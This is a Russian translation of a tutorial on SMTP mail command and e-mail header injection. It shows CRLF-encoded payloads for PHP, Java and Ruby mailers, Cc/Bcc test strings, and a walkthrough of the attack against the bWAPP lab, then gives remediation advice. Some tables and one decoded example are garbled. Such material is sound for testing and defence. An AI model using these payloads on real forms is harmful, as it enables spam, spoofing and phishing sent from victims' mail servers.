ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Внедрение почтовых команд — это метод атаки, используемый для использования почтовых серверов и приложений веб-почты, которые создают операторы IMAP/SMTP на основе введенных пользователем данных, которые должным образом не очищены. метод атаки, который внедряет контролируемые злоумышленником SMTP-команды в данные, передаваемые из приложения (обычно веб-приложения) на SMTP-сервер с целью рассылки спама.
http://projects.webappsec.org/w/page/13246948/Mail%20Command%20Injection
Структура IMAP/SMTP
- Заголовок: окончание ожидаемой команды;
- Тело: введение новой команды (команд);
- Нижний колонтитул: начало ожидаемой команды.
Это поведение можно использовать для отправки копий электронных писем третьим лицам, прикрепления вирусов, проведения фишинговых атак и частого изменения содержимого электронных писем. Обычно этим пользуются спамеры, стремящиеся использовать репутацию уязвимой компании для придания легитимности своим электронным письмам.
Распространенное использование SMTP на веб-сайтах
- Отправляйте сообщения через приложение, например, чтобы сообщить о проблеме персоналу службы поддержки.
- Оставьте отзыв о сайте.
- Это средство обычно реализуется путем взаимодействия с почтовым (или SMTP) сервером.
- Как правило, пользовательский ввод вставляется в SMTP.
Как работает SMTP
Чтобы понять, как работает SMTP, необходимо сначала понять разницу между конвертом и телом письма.
Конверт - это начальная часть сообщения, и он является частью протокола SMTP.
Следующие команды являются частью конверта
MAIL FROM: Эта команда устанавливает отправителя конверта.
RCPT TO: Эта команда задает получателя конверта. Ее можно использовать несколько раз, если вы хотите, чтобы сообщение достигло многих людей одновременно.
DATA: Эта команда запускает полезную нагрузку электронного письма.
Полезная нагрузка содержит заголовки электронной почты и тело сообщения, разделенные одной пустой строкой. (\n в большинстве систем UNIX и Linux, \r\n в системах Windows)
Заголовки электронной почты не являются частью протокола SMTP. Они интерпретируются почтовым клиентом (веб-приложением и некоторыми библиотеками обработки электронной почты в языках программирования).
Код:
> MAIL FROM:<mail@vk9sec.com>
< 250 OK
> RCPT TO: <john@vk9sec.com>
< 250 OK
> RCPT TO:<lucy@vk9sec.com>
< 250 OK
> DATA
< 354 Отправить содержимое сообщения; завершить <CRLF>.<CRLF>
> Content-Type: text/html
> Date: Wed, 25 D 2020 00:00:01
> From: Bryan <vry4n@vk9sec.com>
> Subject: Вы в отпуске?
> To: everyone <everyone@vk9sec.com >
>
> Привет!
> Я не видел тебя в сети!
> --
> Брайан
> .
< 250 OK
Приведенное выше письмо будет получено john@vk9sec.com и lucy@vk9sec.com. Однако они увидят, что оно было отправлено Брайаном <vry4n@vk9sec.com> (а не mail@vk9sec.com), и увидят, что получателем является каждый <everyone@vk9sec.com>.
"<CRLF>.<CRLF>" используется для завершения данных
"<CRLF>" используется для разделения значений RCPT TO
Обычное значение:
Rcpt to:vry4n@vk9sec.com
Инжектировано:
Rcpt to:vry4n@vk9sec.com>[CRLF]DATA[CRLF](содержимое сообщения)[CRLF].[CRLF]QUIT[CRLF].
традиционные векторы атак, такие как
rcpt to: vryan@vk9sec.com[CRLF]Cc: johnnny@vk9sec.com
Набор символов ASCII и шестнадцатеричные значения
https://www.cisco.com/c/en/us/td/docs/ios/12_4/cfg_fund/command/reference/cfnapph.html| 46 | 2Е | |||||
| 10 | 0A | LF | Line feed | Ctrl+J | ||
| 13 |
| CR |
| Ctrl-M | ||
| 32 | 20 | SP | Space | Space |
Например:
Код:
From=daf@vk9sec.com&Subject=Site+feedback%0d%0aSometext%0d%0a%2e%0d%0aMAIL+FROM:+mail@vk9sec.com%0d%0aRCPT+TO:+john@vk9sec.com%0d%0aDATA%0d%0aFrom:+mail@vk9sec.com 0d%0aTo:+john@vk9sec.com%0d%0aSubject:+Cheap+books%0d%0aHi There%0d%0a%2e%0d%0a&Message=hello
Это переводится как
Код:
From=daf@vk9sec.com&Subject=Site+feedback%0d%0aSometext%0d%0a%2e%0d%0aMAIL+FROM:+mail@vk9sec.com%0d%0aRCPT+TO:+john@vk9sec.com%0d%0aDATA%0d%0aFrom:+mail@vk9sec.com 0d%0aTo:+john@vk9sec.com%0d%0aSubject:+Cheap+books%0d%0aHi There%0d%0a%2e%0d%0a&Message=hello
MAIL From=daf@vk9sec.com
Тема=Отзывы о сайте
Текст
.
MAIL FROM: mail@vk9sec.com
RCPT TO: john@vk9sec.com
ДАННЫЕ
От: mail@vk9sec.com
Кому: john@vk9sec.com
Тема: Дешевые книги
Здравствуйте
.
Здравствуйте
.
Команды SMTP
| HELO | Укажите свое доменное имя, чтобы почтовый сервер знал, кто вы. | E.g. HELO example.com | ||
| Укажите электронную почту отправителя. | E.g. MAIL FROM: <example@example.com> | |||
| RCPT | Укажите получателя. Введите эту команду несколько раз, если у вас более одного получателя. | E.g. RCPT TO: <example2@example.com> | ||
| DATA | Выполните эту команду перед отправкой тела сообщения.Конец сообщения | следующая последовательность из пяти букв: «\r\n.\r\n | ||
| QUIT |
| |||
| EXPN | Укажите, что вашим получателем является список рассылки. | |||
| HELP | Просит помощи у почтового сервера. | |||
| NOOP | Ничего не делает, кроме как получает ответ от сервера. | |||
| RSET | Прервать текущий разговор и начать новый разговор | |||
| SEND | Отправляет сообщение на терминал пользователя вместо почтового ящика. | |||
| SAML | Отправляет сообщение на терминал пользователя и в почтовый ящик пользователя | |||
| SOML | Отправляет сообщение на терминал пользователя, если он вошел в систему; в противном случае отправляет сообщение в почтовый ящик пользователя | |||
| TURN | Меняет роли клиента и сервера. Это может быть полезно, если клиентская программа также может действовать как сервер и ей необходимо получать почту с удаленного компьютера. | |||
| VRFY | Проверяет, существует ли конкретное имя пользователя для данного почтового адреса. Поддерживается не всеми почтовыми серверами. |
Header injection
Инъекцию заголовка электронной почты можно рассматривать как эквивалент инъекции заголовка HTTP. Эта уязвимость существует в реализации встроенной почтовой функциональности в таких популярных языках, как
PHP = mail()
[SP] = Пробел
[LF] = перевод строки
[CR] = эквивалент "ввода" новой строки
Код:
rcpt to=([CRLF][SP]RCPT TO:vry4n@vk9sec.com[CRLF][SP]DATA \[LF]Subject: spam10\[LF][CRLF][SP]Hello,this is a spam mail...\[LF].[CRLF][SP]QUIT[CRLF][SP]) john@vk9sec.com
Будет отображаться как
RCPT TO:<(
[SP]RCPT TO:vry4n@vk9sec.com
[SP]DATA\
Тема: spam10\
[SP]Здравствуйте, это спам...\
[SP]QUIT
[SP]) john@vk9sec.com>
Первая команда пробелом интерпретируется нормально, а вторая команда, за которой следует обратная косая черта
Код:
Java = JavaMail API
rcpt to= ">[CRLF]RCPT TO:vry4n@vk9sec.com[CRLF]DATA[CRLF](содержание сообщения)[CRLF].[CRLF]QUIT[CRLF]"@vk9sec.com
Будет отображаться как
RCPT TO:<">
RCPT TO:vry4n@vk9sec.com
ДАННЫЕ
(содержание сообщения)
QUIT
"@vk9sec.com
Python = email.header
Ruby = Net::SMTP, Mail
Код:
rcpt to:vry4n@vk9sec.com[CRLF]DATA[CRLF](содержимое сообщения)[CRLF].[CRLF]QUIT[CRLF].
Поскольку E-mail Header Injection возникает из-за неправильной или несуществующей санации пользовательского ввода.
Формат сообщений электронной почты определяется простым протоколом передачи почты (SMTP). Каждое сообщение электронной почты представлено серией заголовков, разделенных новыми строками, за которыми следует содержимое тела (отделенное от заголовков двумя новыми строками).
Компоненты заголовка
От
Кому
Дата
Тема
CC
BCC и т.д.
С помощью соответствующей строки инъекции уязвимость E-mail Header Injection может быть использована злоумышленником для инъекции дополнительных заголовков, изменения существующих заголовков или изменения содержимого письма.
Результат компрометации:
- Злоумышленник может выполнить подмену электронной почты
- Запуск фишинговых кампаний, которые отправляются с реального почтового сервера.
- Сети рассылки спама
- Извлечение информации
- Отказ в обслуживании
Поиск недостатков SMTP-инъекций
1. Вы должны представить каждую из следующих тестовых строк в качестве каждого параметра по очереди, вставляя свой собственный адрес электронной почты в соответствующую позицию
Код:
<youremail>%0aCc:<youremail>
<youremail>%0d%0aCc:<youremail>
<youremail>%0aBcc:<youremail>
<youremail>%0d%0aBcc:<youremail>
%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a
%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a
2. Обратите внимание на все сообщения об ошибках, которые выдает приложение. Если эти сообщения связаны с какой-либо проблемой в функции электронной почты, проверьте, не нужно ли доработать ввод данных для использования уязвимости.
3. Ответы приложения могут никак не указывать на наличие или успешность эксплуатации уязвимости. Вы должны следить за указанным вами адресом электронной почты, чтобы узнать, получено ли какое-либо письмо
4. Внимательно изучите HTML-форму, которая генерирует соответствующий запрос. Она может содержать подсказки об используемом программном обеспечении на стороне сервера. Она также может содержать скрытое или отключенное поле, определяющее адрес электронной почты To, которое вы можете изменить напрямую.
Эксплуатация
1. Найдите форму электронной почты
2. Здесь пользователи могут указать адрес «От» и содержание сообщения. Приложение передает эти входные данные PHP-команде mail(), которая формирует сообщение электронной почты и выполняет необходимый SMTP-диалог со своим настроенным почтовым сервером.
3. Используйте приложение в обычном режиме для проверки функциональности.
- Кому: bwapp@mailinator.com
- От кого: vry4n@vk9security.com
- Тема: Здравствуйте
5. Перехватите запрос с помощью веб-прокси, в данном случае BurpSuite. Это безобидный запрос.
Это вызовет следующее
- ПОЧТА ОТ: vry4n@vk9security.com
- RCPT КОМУ: bwapp@mailinator.com
- ДАННЫЕ
- От кого: vry4n@vk9security.com
- Кому: bwapp@mailinator.com
- Предмет:
- Привет
- .
6. Теперь захватите новый запрос и вставьте строку BCC, CC, используя символ новой строки «%0a» или «\n».
- name=Vry4n+Unknown&email=vry4n%40vk9security.com %0d%0a bcc:bwapp%40mailinator.com &remarks=Hello+There&form=submit
- name=Vry4n+Неизвестно %0d%0abcc:bwapp%40mailinator.com &email=vry4n%40vk9security.com&remarks=Hello+There&form=submit
Это заставит почтовый сервер пересылать запрос также на введенный адрес.
Исправление: внедрение заголовка SMTP
Убедитесь, что пользовательский ввод соответствует белому списку безопасных символов, прежде чем помещать его в заголовки электронной почты. В частности, следует отклонять ввод, содержащий символы новой строки и возврат каретки. В качестве альтернативы рассмотрите возможность перехода на библиотеку электронной почты, которая автоматически предотвращает такие атаки.
- Адреса электронной почты следует сверять с подходящим регулярным выражением (которое, конечно же, должно отклонять любые символы новой строки).
- Тема сообщения не должна содержать символов новой строки и может быть ограничена подходящей длиной.
- Если содержимое сообщения используется непосредственно в SMTP, строки, содержащие только одну точку, должны быть запрещены.